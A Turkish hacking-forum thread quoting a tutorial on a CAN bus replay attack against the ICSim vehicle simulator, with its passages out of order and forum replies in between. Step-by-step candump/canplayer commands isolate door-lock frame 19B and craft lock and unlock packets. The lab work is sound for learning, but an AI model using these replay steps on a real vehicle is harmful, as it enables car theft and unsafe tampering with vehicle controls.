kali@kali:~/Documents/Car_Hacking/Demo$ echo '(1654550642.133853) vcan0 19B#000004000000' > doors4
kali@kali:~/Documents/Car_Hacking/Demo$ echo '(1654550642.133853) vcan0 19B#000002000000' > doors2
kali@kali:~/Documents/Car_Hacking/Demo$ echo '(1654550642.133853) vcan0 19B#000001000000' > doors1
Bu gates # dosyalarının her birini yeniden oynatmak aşağıdaki bulgularla sonuçlanır:
8​
4​
2​
1​
ALTIGEN
KAPI​
1​
0​
0​
0​
8​
ARKA YOLCU​
0​
1​
0​
0​
4​
ARKA SÜRÜCÜLER​
0​
0​
1​
0​
2​
ÖN YOLCU​
0​
0​
0​
1​
1​
ÖN SÜRÜCÜLER​

q04pemf.png

Her kapının hareketini göz önüne alırsak, 1 kapıyı kilitlemek için ve 0 kapının kilidini açmak için harekettir. Hal böyle olunca kapılarımızı tanımladığımızda, tanımlanan kapıya kapıyı kilitleme talimatı verilirken, diğerlerine kilidi açma talimatı verildi. Artık araçtaki kapıları kilitlemek veya kilidini açmak için verilerde herhangi bir değişiklik yapabiliriz.

Bu makaleyi bitirmeden önce son bir örneğe bakalım. Aracın her iki arka kapısını da kilitlemek ve ön kapıların kilidini açmak istiyorsak, CAN paketindeki ikiliyi nasıl değiştirebiliriz?
ARKA YOLCU​
ARKA SÜRÜCÜ​
ÖN YOLCU​
ÖN SÜRÜCÜ​
8​
4​
2​
1​
ALTIGEN
?​
?​
?​
?​
?​
Kilit açma biti 0 ise ön kapıları 0 değeriyle doldurabiliriz . 1 değeri kapıların kilitlenmesine neden olur, bu nedenle sonuç şöyle olur:
ARKA YOLCU​
ARKA SÜRÜCÜ​
ÖN YOLCU​
ÖN SÜRÜCÜ​
8​
4​
2​
1​
ALTIGEN
1​
1​
0​
0​
C​
Bunun ikili sonucu 1(8) + 1(4) + 0(2) + 0(1) = 8+4+0+0 = 12 olacaktır. Onaltılık biçimde 12, C'dir . Bu, CAN paketimizi şu şekilde değiştirir:

(1654550641.304018) VCAN0 19B # 00000 C 000000

Bu paketle başka bir dosya oluşturalım ve buna “unlockFront” adını verelim. Bu paketi ağda tekrar oynayarak ve sonucu izleyerek test edebiliriz.
pfqf601.png

Her kapıyı başarılı bir şekilde kontrol ediyoruz ve istediğimiz kilitsiz/kilitli kapı kombinasyonunu yapabiliyoruz.

Daha fazla öğrenmek ister misiniz?

Bu makalenin başlarında belirtildiği gibi, araba korsanlığı hakkında daha fazla bilgi edinmek ve konuya daha derin bir dalış yapmak için harika bir kaynak, Craig Smith'in The Car Hacker's Handbook adlı kitabında ele alınmaktadır . Araba hackleme konusunda daha fazla gerçek dünya deneyimi edinmek istiyorsanız,Car Hacking Village ,topluluğuna da göz atmanızı tavsiye ederim. Diğer bazı değerli kaynaklar,CSS Electronics,Illmatics'tir.

Çözüm

Bu makalede, bir CAN veri yolunun ne olduğunu, araç iletişiminde nasıl rol oynadığını, bir simülasyon yürütmek için gerekli araçları kurmayı ve kilit açma veya kilitleme komutunu göndermek için sanal araçtaki her bir kapıyı kontrol etmeyi tanımlayabildik.

Araba korsanlığı biraz riskli olabilir, bu nedenle bu bilgiyi simüle edilmiş bir ortamda veya dikkatli bir şekilde kullanmanızı öneririz.Gerçek bir aracı hacklemeye karar verirseniz, lütfen her türlü olasılığı göz önünde bulundurduğunuzdan emin olun ve bunun riski size aittir.

NOT:Yapılan Hacklerden Ben Veya TurkHackTeam Ailesi Sorumlu Değildir.Konunun Bazı Kısımları Alıntıdır :)
iUBacd.gif
q6iq2ex.jpg
Bizim araba uno 70 s calısırmi:)
 

ankamurat

Katılımcı Üye
24 Eyl 2022
453
186
┌─(root@ankamurat)
Kaynakça da belirtmelisin bence alıntı deyip geçme iyi bir özet olmuş :)
bundan sonra yaparım
sağol
Bizim araba uno 70 s calısırmi:)
denemekte fayda var :D
Eline sağlık uzun zamandır gördüğüm en yararlı konu olmuş hepsini okuyamadım ama boş bir zamanda kesinlikle okuyacam
sağol
Ellerine sağlık,güzel konu.
sağol
 

Speedy Gonzales

Katılımcı Üye
12 Kas 2021
636
294
in every technology system
6t3q7nb.png

Selam millet! Pek çok kişinin bilmediği rastgele bir bilgisayar korsanlığı konusu hakkında başka bir blog gönderisi paylaşmaktan mutluluk duyuyorum: Araba Hacking! Bu maddenin geçerliliğine inanmakla birlikte, araçlardaki tek saldırı vektörü olmadığını baştan belirtmek isterim. Umarım bu, cihazların ve sistemlerin nasıl analiz edilebileceği ve bu denetimlerin bir saldırgan tarafından nasıl kullanılabileceği ve hatta kötüye kullanılabileceği konusunda bazı içgörüler elde etmek için yaratıcı bir şekilde düşünmenin başka bir yolu olarak hizmet eder.

Bilgisayar korsanlığının saldırı açısından geldiği genel nüansına rağmen, bilgisayar korsanlığı çabalarından elde edilebilecek faydalar vardır. Araçlar söz konusu olduğunda, bu, bir araçtaki belirli özelliklerin kilidinin açılması, daha önce var olan limitlerin kaldırılması veya olumlu sonuç verebilecek yeni teknolojinin yaratılmasına yardımcı olma şeklinde olabilir (bazı araba sigorta şirketlerinin sağladığı cihazlar gibi) bir müşteri 'iyi sürücü' indirimi alabilir). Bu fikirlerden burada bahsedilirken, o kadar derine inmeyeceğiz.

Ayrıca, bu makalede belirtilen kavramları denerseniz ve bunun olumsuz bir sonucu olursa, yazar veya Offensive Security'nin sorumlu tutulmayacağı söylenmelidir. Bir aracı hacklerken risk olabilir. Fiziksel bir aracı hacklemeye karar verirseniz, bunun riski size aittir. Neyse ki, bu makalede egzersiz fırsatları sağlamak ve uygulamalı deneyim kazanmak için sanal bir seçenek ele alınacaktır.

Bununla birlikte, bir CAN veri yolunun ne olduğunu açıklayarak başlayalım!

CAN veriyolu nedir?

CAN veri yolu (Denetleyici Alan Ağı veri yolu), bir aracın bileşenleri ile iletişim kurduğu merkezi bir ağdır. Bunu aracın elektrik sinyalleri ile çalışan birçok fonksiyonu olması açısından düşünebiliriz. Arabada kapı kilitleri, bir hız göstergesi, bir gaz göstergesi, frenler için kontroller, gaz pedalı için kontroller ve çok daha fazlası var. Bu cihazların çoğu, bu ağ üzerinden iletişim kurar.

OBD-II

OBD-II (Yerleşik teşhis 2) konnektörü, araç kodlarının kolayca teşhis edilmesini sağlayan araç üzerindeki bir bağlantı noktasıdır. Çoğu zaman araçlarımızı bir tamirciye getirdiğimizde aracın gönderdiği hata kodunu almak için bu porta bir bilgisayar cihazı takarlar. Bu, kontrol motoru ışığını açmış olabilecek sorunlar veya hatta bir göstergeyle sonuçlanmayan sorunlar için çok daha hızlı çözümler sağlar.

Bu bağlantı noktalarına erişim genellikle çok kolaydır. Normalde pedalların yanında ön panelin altında, direksiyon kolonunun arkasında ve hatta yolcu tarafında ön panelin altında bulunurlar. İşte OBD-II bağlantı noktasındaki bir fişin resmi:

pscogal.png

Bu porta fiziksel bir bağlantı sağlanması açısından CANtact gibi bir cihaz satın alınabilir hatta yapılabilir . Fiziksel cihazın kullanılması bu makalenin kapsamı dışında kalacaktır, ancak bu makalede ele alınan hack, ister fiziksel bir araçta ister sanal simülatörde yapılsın aynıdır. CAN veriyolunda iletişim kurmak için erişim noktası OBD-II bağlantı noktası olacaktır.

CAN Veri Yolu Ağı Temelleri

Yerel CAN veri yolu ağında, paketler bir hub gibi gönderilir ve alınır. Bir merkeze aşina olmayanlarınız için, veri paketleri tüm cihazlar tarafından görülebilir. Bu konudaki yabani otlara fazla girmek istemiyorum, ancak anahtarların veri paketlerinin bir hedeften diğerine paylaşımını kontrol ettiğini, oysa bir hub'ın paketleri o ağ cihazındaki herkese gönderdiğini bilin. Hub'lar gürültülüdür ve o ağa kulak misafiri olma özelliğinden dolayı güvensiz bir ağ cihazı olarak kabul edilir.

Bununla birlikte, bu makalenin esas olarak odaklanacağı kapı kilitlerini ele alalım. Kapımızdaki kilit düğmesine basarsak, CAN bus üzerinden ağdaki her cihaza bir elektrik sinyali gönderilir ve kapılar veri paketini yorumlar. Veri paketinde bir komut olacaktır: kilitle veya kilidini aç. Veri paketini alan kapılar, bu talimatı alacak ve veri paketindeki yönergeyi uygulayacaktır.

Araçta bulunan birçok cihaz bu şekilde çalışmakta, burada bir aksiyon tetiklenmekte, ağ üzerinden veri gönderilmekte ve veri paketinin tanımladığı ile ilgili cihaz harekete geçmektedir. Gaz pedalına basmak, ağda gaz akışının artmasını söyleyen veri paketlerinin gönderilmesine ve dolayısıyla arabanın daha hızlı gitmesine neden olur. Bu da, hız göstergesinin aracın gittiği uygun hızı yansıtması için yükselmesine neden olabilir. Hız göstergesinin yükselme miktarı, ağda gönderilen ve gaz pedalına ne kadar basıldığına bağlı olarak değişen talimatlara bağlı olacaktır.

Ağda gönderilen paketler iki bölümden oluşur: tanımlayıcı ve veriler. Tanımlayıcı, cihazın araçtaki temsilidir. Veri alanı, söz konusu cihazla tamamlanması gereken talimatı temsil eder. Aşağıdaki örneği ele alalım:

120 # F289632003200320

Paketin başlangıç bölümü tanımlayıcıdır. Bu durumda tanımlayıcı 120'dir. Paketin #'den sonra kalan kısmı veri alanıdır.

Örnek olarak bu tanımlayıcıyı ve veri segmentini kullanıyor olsak da, tanımlayıcının yıl, marka ve model olarak farklı araçlar arasında aynı olmayacağını bilmek önemlidir. 120'nin tanımlayıcısı, 2019 Honda Civic'teki gaz pedalı (gaz pedalı) olabilir, ancak 2022 Toyota Sienna'daki camlar olabilir. Bununla, tanımlayıcı etiketi olan bir aracın cihazlarını tanımlayabiliriz, ancak yalnızca aynı yıl/marka/modele sahip diğer araçlar, bu tanımlayıcı etiket değeriyle kontrol edilen aynı cihaza sahip olacaktır.

CAN veri yolu hakkında bilinmesi gereken son şey, paketlerin bu ağ üzerinden sürekli olarak gönderildiğidir, araçta herhangi bir güç olduğu sürece (yani motorun çalıştırılmasına gerek yoktur), ağ aktif olacaktır.

Hack nedir?

Bu durumda hack, CAN veri yolu ağına yapılan bir tekrar saldırısıdır. Ağda gönderilen paketleri dinleyebilir, bir eylemi manuel olarak tamamlayabilir (bizim durumumuzda kapıları kilitleme/kilit açma) ve aynı eylemin gerçekleşmesini sağlamak için paketleri ağa geri oynatabiliriz - kilitleme/kilit açma düğmelerine rağmen basılıyor.

Bu bilgisayar korsanlığı alıştırmasını tamamlamadan önce, dahili bir sanal simülatörde bunu yapmak için gerekli araçları nasıl kuracağımıza bir göz atalım.

Araçları Ayarlama

Aşağıdaki adımlar, VirtualBox üzerinde yeni bir Kali 2022.2 kurulumunda tamamlanmıştır. Bu makaleyi idare edilebilir bir uzunlukta tutmak için, bu VirtualBox veya Kali kurulumları ele alınmayacaktır. Kali-tweaks yardımcı programı, varsayılan iki satırlık çıktıyı tek bir satıra değiştirmek için de çalıştırıldı . Bu süreçte kuracağımız üç araç var:

  • ICSim (Enstrüman Kümesi Simülatörü)
  • Soketcand
  • Kayık
Öncelikle Kali makinemize önkoşul paketleri yükleyelim
Kod:
kali@kali:~$ sudo apt install libsdl2-dev libsdl2-image-dev can-utils maven autoconf

[sudo] password for kali:

…

Do you want to continue? [Y/n] Y
…
Çalışmak için bir “Car_Hacking” dizini oluşturalım ve o dizine girelim.
Kod:
kali@kali:~$ mkdir Documents/Car_Hacking
kali@kali:~/Documents/Car_Hacking$ cd Documents/Car_Hacking
Yeni oluşturulan dizinin içinde ICSim Git deposunu klonlayalım .
Kod:
kali@kali:~/Documents/Car_Hacking$ git clone https://github.com/zombieCraig/ICSim.git
Cloning into 'ICSim'...
remote: Enumerating objects: 135, done.
remote: Counting objects: 100% (5/5), done.
remote: Compressing objects: 100% (4/4), done.
remote: Total 135 (delta 1), reused 3 (delta 1), pack-reused 130
Receiving objects: 100% (135/135), 1.09 MiB | 2.68 MiB/s, done.
Resolving deltas: 100% (68/68), done.
Mevcut çalışma dizinimize klonlanmış ICSim deposu ile ICSim dizinine girelim ve gerekli ikiliyi yapmak için kodu derleyelim.
Kod:
kali@kali:~/Documents/Car_Hacking$ cd ICSim
kali@kali:~/Documents/Car_Hacking/ICSim$ sudo make
gcc -I/usr/include/SDL2   -c -o icsim.o icsim.c
gcc -I/usr/include/SDL2 -o icsim icsim.c lib.o -lSDL2 -lSDL2_image
gcc -I/usr/include/SDL2   -c -o controls.o controls.c
gcc -I/usr/include/SDL2 -o controls controls.c -lSDL2 -lSDL2_image
Car_Hacking dizinine geri dönelim ve socketcand deposunu da kopyalayalım .
Kod:
kali@kali:~/Documents/Car_Hacking/ICSim$ cd ..

kali@kali:~/Documents/Car_Hacking$ git clone https://github.com/linux-can/socketcand.git
Cloning into 'socketcand'...
remote: Enumerating objects: 923, done.
remote: Total 923 (delta 0), reused 0 (delta 0), pack-reused 923
Receiving objects: 100% (923/923), 273.95 KiB | 931.00 KiB/s, done.
Resolving deltas: 100% (547/547), done.
Yerine klonlanan socketcand deposu ile paketi yapılandıralım, derleyelim ve yükleyelim. Eksik bir dosya var, bu yüzden o dosyayı yerine kopyalayarak başlamamız gerekecek.
Kod:
kali@kali:~/Documents/Car_Hacking$ cd socketcand
kali@kali:~/Documents/Car_Hacking/socketcand$ wget https://raw.githubusercontent.com/dschanoeh/socketcand/master/config.h.in
https://raw.githubusercontent.com/dschanoeh/socketcand/master/config.h.in
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.109.133, 185.199.110.133, 185.199.111.133, ...
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.109.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3773 (3.7K) [text/plain]
Saving to: ‘config.h.in’
config.h.in         100%[================>]   3.68K  --.-KB/s    in 0s 
2022-06-06 10:52:38 (80.8 MB/s) - ‘config.h.in’ saved [3773/3773]
Başlık dosyası yerindeyken paketi yapılandıralım, derleyelim ve yükleyelim.
Kod:
kali@kali:~/Documents/Car_Hacking/socketcand$ autoconf
configure.ac:6: warning: The macro `AC_CONFIG_HEADER' is obsolete.
configure.ac:6: You should run autoupdate.
./lib/autoconf/status.m4:719: AC_CONFIG_HEADER is expanded from...
configure.ac:6: the top level
kali@kali:~/Documents/Car_Hacking/socketcand$ ./configure
checking for gcc... gcc
checking whether the C compiler works... yes
…
kali@kali:~/Documents/Car_Hacking/socketcand$ make clean             
rm -f socketcand socketcandcl *.o
kali@kali:~/Documents/Car_Hacking/socketcand$ make 
gcc -Wall -Wno-parentheses -DPF_CAN=29 -DAF_CAN=PF_CAN -DHAVE_CONFIG_H   -I . -I ./include -o socketcand ./socketcand.c ./statistics.c ./beacon.c ./state_bcm.c ./state_raw.c ./state_isotp.c ./state_control.c -lpthread
gcc -Wall -Wno-parentheses -DPF_CAN=29 -DAF_CAN=PF_CAN -DHAVE_CONFIG_H   -I . -I ./include -o socketcandcl ./socketcandcl.c
kali@kali:~/Documents/Car_Hacking/socketcand$ sudo make install                                                 
mkdir -p /usr/local/bin
cp ./socketcand /usr/local/bin/
cp ./socketcandcl /usr/local/bin/
mkdir -p /usr/local/share/man
cp ./socketcand.1 /usr/local/share/man/
mkdir -p /etc/
install -m 0644 ./etc/socketcand.conf /etc/
if [ yes = yes ]; then mkdir -p /etc/init.d; install --mode=755 ./init.d/socketcand /etc/init.d/socketcand; fi
if [ no = yes ]; then install --mode=755 ./rc.d/socketcand /etc/rc.d/socketcand; fi
Socketcand yüklendikten sonra, "Car_Hacking" dizinine geri dönelim ve Kayak Git deposunu klonlayalım
Kod:
kali@kali:~/Documents/Car_Hacking/socketcand$ cd ..

kali@kali:~/Documents/Car_Hacking/$ git clone https://github.com/dschanoeh/Kayak.git
Cloning into 'Kayak'...
remote: Enumerating objects: 6298, done.
remote: Total 6298 (delta 0), reused 0 (delta 0), pack-reused 6298
Receiving objects: 100% (6298/6298), 2.90 MiB | 4.58 MiB/s, done.
Resolving deltas: 100% (1927/1927), done.
Artık Kayak dizinine geçebilir ve Maven ile paketi kurabiliriz.
Kod:
kali@kali:~/Documents/Car_Hacking/Kayak$ cd Kayak
kali@kali:~/Documents/Car_Hacking/Kayak$ mvn clean package
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
[INFO] Scanning for projects...
...

Hack'i Yürütme

Bu işlem için aynı anda birden fazla terminal sekmesi ile çalışmamız gerekecek. Bu işlevlerin her biri için ayrı bir sekmeye ihtiyacımız olacak:

  • Simülatörü çalıştır
  • Kontrolleri çalıştır
  • Veri paketlerini yakalayın ve yeniden oynatın
Simülatörü ilk sekmede başlatalım. Bunun ilk adımı vcan (sanal CAN) arayüzünü kurmaktır. ICSim dizinine geçelim ve kurulum betiğini çalıştıralım.
Kod:
kali@kali:~/Documents/Car_Hacking/Kayak$ cd ../ICSim

kali@kali:~/Documents/Car_Hacking/ICSim$ ./setup_vcan.sh
[sudo] password for kali:
Arayüz kurulumu ile yeni oluşturulan arayüz üzerinde sanal simülatörü başlatabiliriz. Bu, oluşturduğumuz ilk vcan arayüzü olduğu için vcan0 olacaktır.
Kod:
kali@kali:~/Documents/Car_Hacking/ICSim$ ./icsim vcan0 
Using CAN interface vcan0
Terminalde ikinci bir sekme açıp kontrollere başlayalım.
Kod:
kali@kali:~/Documents/Car_Hacking/ICSim$ ./controls vcan0
 Warning: No joysticks connected
Hangi sekmenin hangi işleve gittiğini takip etmek için terminal oturumu sekmelerini yeniden adlandırdım ve ICSim uygulaması açıkken ekran şimdi böyle görünüyor.
pcq7mtb.png

İstesek bilgisayara bir kumanda bağlayıp o kumandayı araç komutlarını değiştirmek için kullanabiliriz. Bu makale için, simülatörü manipüle etmek için klavye tuşlarını kullanacağız.
Bu, kontrollere ve bunların alet kümesi simülatörünü nasıl etkilediğine alışmak için iyi bir zaman olacaktır. CANBus Kontrol Paneli penceresi aktifken sanal aracımızı manipüle etmeye başlayabiliriz. Örneğin SOL ok tuşunu basılı tutarsak sola dönüş sinyalleri yanıp sönecektir. YUKARI oka basarsak , aracın hızlandığını simgeleyen hız göstergesi artacaktır. Yukarıdaki resimde tüm kapılar kilitli. Sağ SHIFT+A|B|X|Y tuşlarına basarsak , her seferinde bir kapının kilidi açılır. Sol SHIFT tuşu, kapı düğmelerinden herhangi birine basıldığında kapıları tekrar kilitleyecektir. Sol SHIFT'e ve ardından Sağ SHIFT'e basarsak, tüm kapıların kilidi açılır.

Bir kapının kilidi zaten açılmışsa, kapı zaten kilitsiz durumda olduğundan IC Simülatör penceresi bir değişiklik göstermeyecektir. Şimdilik, aracın tüm kapılarının kilidini açmaya ve kilitlemeye odaklanalım. Tüm kapılar kilitliyken başlayarak, tüm kapıların kilidini açmak için Sola SHIFT'e ve ardından Sağa SHIFT'e basacağız. Ardından, tekrar kilitlemek için Sağ SHIFT'e ve ardından Sol SHIFT'e basacağız . Aşağıdaki resimler, ekranın nasıl görünmesi gerektiğini göstermektedir.
mtc8dvz.png
9nm0s82.png

Şimdi, veri paketi yakalama ve yeniden oynatma ile çalışmak için başka bir sekme başlatalım. Dizin yapımızı dağınık hale getirmemek için, içinde çalışacağımız bir Demo dizini oluşturacağız.
Kod:
kali@kali:~/Documents/Car_Hacking$ mkdir Demo
kali@kali:~/Documents/Car_Hacking$ cd Demo
Artık Demo'da olduğumuza göre, loglama için -l seçeneği ile candump yardımcı programını vcan arabiriminde çalıştıralım .
Hiçbir şey yapmadan bunu 5 saniye çalıştıracağız ve dinleyiciyi durdurmak için CTRL-C tuşlarına basacağız.
Kod:
kali@kali:~/Documents/Car_Hacking/Demo$ candump vcan0 -l
Disabled standard output while logging.
Enabling Logfile 'candump-2022-06-06_141619.log'
^C
 kali@kali:~/Documents/Car_Hacking/Demo$ ls
candump-2022-06-06_141619.log
Hiçbir şey yapmamamızın ve yalnızca dinleyiciyi başlatıp durdurmaya odaklanmamızın nedeni, bir CAN veri yolu ağının ne kadar gürültülü olabileceğini göstermektir. Bir satır sayımı için kelime sayma komutunu ( wc ) çalıştıralım ve dinleyicimizin açık olduğu 5 saniyede kaç paket gönderildiğini gözlemleyelim.
Kod:
kali@kali:~/Documents/Car_Hacking/Demo$ wc -l candump-2022-06-06_141619.log
13757 candump-2022-06-06_141619.log
Dinleyicinin 5 saniyesi içinde ağa 13.757 paket gönderildi. Henüz kontrolörle herhangi bir komut bile göndermedik!

Daha fazla ilerlemeden önce, oyun planımızı ortaya koyalım. Bu hack için, kapıları manipüle etmekten hangi tanımlayıcının sorumlu olduğunu belirlemek istiyoruz. Mümkün olduğunca çabuk, şu adımları uygulayacağız:
  1. vcan0 arabiriminde oturum açarak candump'ı başlatın
  2. CANbus Kontrol Paneli penceresini aktif hale getirin
  3. Tüm kapıların kilidini aç
  4. tüm kapıları kilitle
  5. Candump terminal penceresinde tıklayın
  6. Ağ yakalamayı durdurmak için CTRL-C'ye basın
Amacımız, günlük dosyasını olabildiğince küçük tutmak için yukarıdaki adımları olabildiğince çabuk tamamlamaktır. Dosyaları karıştırmamak için başlamadan önce önceki günlüğü de sileceğiz.
Kod:
kali@kali:~/Documents/Car_Hacking/Demo$ rm candump-2022-06-06_141619.log
kali@kali:~/Documents/Car_Hacking/Demo$ candump vcan0 -l               
Disabled standard output while logging.
Enabling Logfile 'candump-2022-06-06_142359.log'
^C
Yukarıda listelenen adımlar tamamlandı ve terminal çıktısı yukarıda gösterildi. Yeni oluşturduğumuz log dosyasında satır sayısını göstermek için wc komutunu çalıştıralım
Kod:
kali@kali:~/Documents/Car_Hacking/Demo$ wc -l candump-2022-06-06_142359.log
9293 candump-2022-06-06_142359.log
Artık ağda gönderilen 9.293 paket içeren yeni bir günlük dosyamız var.

Şimdi bu günlük dosyasını ağa geri oynatmak ve IC Simulator penceresini izlemek için canplayer yardımcı programını kullanalım. Her şey yolunda giderse, kapıların kilidinin açılıp tekrar kilitlendiğini göreceğiz. -I (büyük harf) seçeneği ile log dosyamızı belirtebiliriz .
Kod:
kali@kali:~/Documents/Car_Hacking/Demo$ canplayer -I candump-2022-06-06_142359.log
Ne yazık ki, bir makale sonuçları paylaşmanın en kolay yolu değildir. Bu etkinliği yaparken, günlük dosyamızı yeniden oynatmak, sanal aracın kapılarının kilidinin açılmasına ve tekrar kilitlenmesine neden oldu.

Günlük tekrarının istek üzerine çoğaltmak istediğimiz eylemi gerçekleştirdiğini doğruladığımıza göre, kapı işlemlerinden hangi paketlerin sorumlu olduğunu bulma algoritmasına bakmamız gerekiyor. Aşağıdaki görüntü, Craig Smith tarafından yazılan “The Car Hacker's Handbook”un 77. sayfasından alınmıştır.
ddytwpx.png
Doğrulanmış günlük dosyası istediğimiz eylemi gerçekleştirirken, eylemin dosyanın neresinde gerçekleştiğine dair en iyi tahminde bulunabiliriz. Bu tahminle, dosyanın ilk yarısını veya son yarısını oynatmaya karar verebiliriz. Orijinal dosyayı ikiye böleceğiz ve canplayer yardımcı programı ile tekrar oynatacağız. Yeni dosyayı yeniden yürüttüğümüzde, IC Simulator penceresinde istenen eylemin gerçekleşip gerçekleşmediğini izleyeceğiz. Yeniden oynatılan dosya simülatörde etkiye neden oluyorsa, o dosyayı tekrar ikiye böleceğiz ve yarılardan birini yeniden oynatacağız. Simülatörde etkiye neden olmazsa, dosyanın diğer yarısını alabilir, tekrar oynatabilir ve eylemin dosyanın bu yarısında olduğunu doğrulayabiliriz.

Bu algoritmanın yeterince yinelenmesiyle, kapıların kilidini açmaktan sorumlu CAN paketini izole edebileceğiz. Ayrıca bu günlük dosyasını yarıya indirme sürecinde , dosyayı tekrar oynatmadan önce kapıları kilitlemek için CANbus Kontrol Paneli penceresindeki kontrolleri manuel olarak kullanmamız gerekecek bir noktaya geleceğiz . Unutmayın, kapılar zaten açık durumdaysa IC Simülatörü bir değişiklik göstermez.

-n seçeneğiyle head veya tail kullanabilir ve dosyanın yaklaşık yarısını yeniden oynatmak için alabiliriz. Her yinelemeyi açıklamadan, kapı kilidi açma CAN paketinin tanımlanmasına ulaşmak için komut çıktısını burada bulabilirsiniz:

Kod:
kali@kali:~/Documents/Car_Hacking/Demo$ head -n 4600 candump-2022-06-06_142359.log > split1
kali@kali:~/Documents/Car_Hacking/Demo$ canplayer -I split1
kali@kali:~/Documents/Car_Hacking/Demo$ wc -l split1                   
4600 split1
kali@kali:~/Documents/Car_Hacking/Demo$ tail -n 2300 split1 > split2
kali@kali:~/Documents/Car_Hacking/Demo$ canplayer -I split2
kali@kali:~/Documents/Car_Hacking/Demo$ tail -n 1100 split2 > split3
kali@kali:~/Documents/Car_Hacking/Demo$ canplayer -I split3
kali@kali:~/Documents/Car_Hacking/Demo$ head -n 500 split3 > split4
kali@kali:~/Documents/Car_Hacking/Demo$ canplayer -I split4   
kali@kali:~/Documents/Car_Hacking/Demo$ head -n 200 split4 > split5
kali@kali:~/Documents/Car_Hacking/Demo$ canplayer -I split5   
kali@kali:~/Documents/Car_Hacking/Demo$ #Doors didn't unlock
kali@kali:~/Documents/Car_Hacking/Demo$ tail -n 200 split4 > split5
kali@kali:~/Documents/Car_Hacking/Demo$ canplayer -I split5   
kali@kali:~/Documents/Car_Hacking/Demo$ tail -n 100 split5 > split6
kali@kali:~/Documents/Car_Hacking/Demo$ canplayer -I split6
kali@kali:~/Documents/Car_Hacking/Demo$ tail -n 100 split5 > split6
kali@kali:~/Documents/Car_Hacking/Demo$ canplayer -I split6   
kali@kali:~/Documents/Car_Hacking/Demo$ head -n 50 split6 > split7
kali@kali:~/Documents/Car_Hacking/Demo$ canplayer -I split7   
kali@kali:~/Documents/Car_Hacking/Demo$ head -n 25 split7 > split8
kali@kali:~/Documents/Car_Hacking/Demo$ canplayer -I split8   
kali@kali:~/Documents/Car_Hacking/Demo$ #Doors didn't unlock
kali@kali:~/Documents/Car_Hacking/Demo$ tail -n 25 split7 > split8
kali@kali:~/Documents/Car_Hacking/Demo$ canplayer -I split8   
kali@kali:~/Documents/Car_Hacking/Demo$ tail -n 10 split8 > split9
kali@kali:~/Documents/Car_Hacking/Demo$ canplayer -I split9   
kali@kali:~/Documents/Car_Hacking/Demo$ #Doors didn't unlock 
kali@kali:~/Documents/Car_Hacking/Demo$ head -n 10 split8 > split9
kali@kali:~/Documents/Car_Hacking/Demo$ canplayer -I split9   
kali@kali:~/Documents/Car_Hacking/Demo$ tail -n 5 split9 > split10
kali@kali:~/Documents/Car_Hacking/Demo$ canplayer -I split10 
kali@kali:~/Documents/Car_Hacking/Demo$ tail -n 2 split10 > split11
kali@kali:~/Documents/Car_Hacking/Demo$ canplayer -I split11   
kali@kali:~/Documents/Car_Hacking/Demo$ #Doors didn't unlock
kali@kali:~/Documents/Car_Hacking/Demo$ head -n 2 split10 > split11
kali@kali:~/Documents/Car_Hacking/Demo$ canplayer -I split11   
kali@kali:~/Documents/Car_Hacking/Demo$ #Doors didn't unlock                                                                         
kali@kali:~/Documents/Car_Hacking/Demo$ cat split10
(1654550641.303029) vcan0 17C#0000000010000030
(1654550641.303046) vcan0 18E#00007A
(1654550641.304018) vcan0 19B#000000000000
(1654550641.305246) vcan0 294#040B0002CF5A002C
(1654550641.305260) vcan0 21E#03E8374522062F
Ağ trafiği tekrarının son kısmı, 5 satırın son 2'sini ve ardından 5 satırın ilk 2'sini aldı. Her iki bölünmüş dosya çalışmadan, bu dosyanın ortasının kapıların açılmasını kontrol eden paket olduğunu anlayabiliriz. Yine de bunu sadece bir kesintiye bırakmayalım. Bu satırı, “doorsUnlock” adlı kendi dosyasına kopyalayalım ve davranışı gözlemlemek için o dosyayı yeniden oynatalım.
Kod:
kali@kali:~/Documents/Car_Hacking/Demo$ echo '(1654550641.304018) vcan0 19B#000000000000' > doorsUnlock
kali@kali:~/Documents/Car_Hacking/Demo$ canplayer -I doorsUnlock
4hr7p7j.png

IC Simülatöründeki kapılar bu tek CAN paketi ile açıldı. Bu paketin içeriğini inceleyelim.https://www.offensive-security.com/wp-content/uploads/2022/07/04.png

(1654550641.304018) VCAN0 19B # 000000000000

Paketin ilk vurgulanan bölümü tanımlayıcıdır. Bu, kapıların onaltılık 19B kodunun bir cihaz işaretleyicisi ile tanımlandığı anlamına gelir . Paketin vurgulanan ikinci kısmı verilerdir. Bu durumda, verilerin tümü 0'lara ayarlanmıştır , bu nedenle bu, kapı talimatı gönderme ihtiyacımız için pek yardımcı olmaz.

İşlemimizin başında da kapıyı kilitlemiş olmamızın nedeni budur. Bilinen kapı tanımlayıcısı ile, paketin veri kısmında hangi varyasyonların var olduğunu görmek için bu tanımlayıcı için orijinal paket yakalamayı arayabiliriz. 19B için orijinal dosyada grep komutunu çalıştıralım .
Kod:
kali@kali:~/Documents/Car_Hacking/Demo$ grep 19B candump-2022-06-06_142359.log (1654550641.304018) vcan0 19B #00000 0 000000  (1654550642.133853) vcan0 19B #00000 F 000000  (1654550642.366332) vcan0 244#000000019B
Tanımlayıcı aradığımız şeyle eşleşmediğinden, yukarıdaki çıktıda görüntülenen son satırı yok sayabiliriz. Kapı veri paketleri, üçüncü baytın ikinci yarımında değiştirilir. Data bölümünde F ile satırı alıp “doorsLock” adında yeni bir dosya oluşturalım. Daha sonra bunu tekrar oynatacağız ve bu paketin tüm kapıları kilitleyip kilitlemeyeceğini belirlemek için IC Simulator penceresini izleyeceğiz.

Kod:
kali@kali:~/Documents/Car_Hacking/Demo$ echo '(1654550642.133853) vcan0 19B#00000F000000' > doorsLock
kali@kali:~/Documents/Car_Hacking/Demo$ canplayer -I doorsLock
3yua3m2.png
Kapılar artık tek bir veri paketi ile kilitlenmiştir.

Verileri Daha Fazla Analiz Etme

CAN veri yolu aracılığıyla tüm araba kapılarının kilidinin açılmasını ve kilitlenmesini başarıyla yakaladık ve yeniden oynattık. Verileri daha fazla analiz edebilir ve kapıları hep ya da hiçten daha ayrıntılı bir şekilde kontrol edip edemeyeceğimizi görebiliriz. İki CAN paketini tekrar gözden geçirelim:

(1654550641.304018) VCAN0 19B # 000000000000

(1654550642.133853) VCAN0 19B # 00000 F 000000

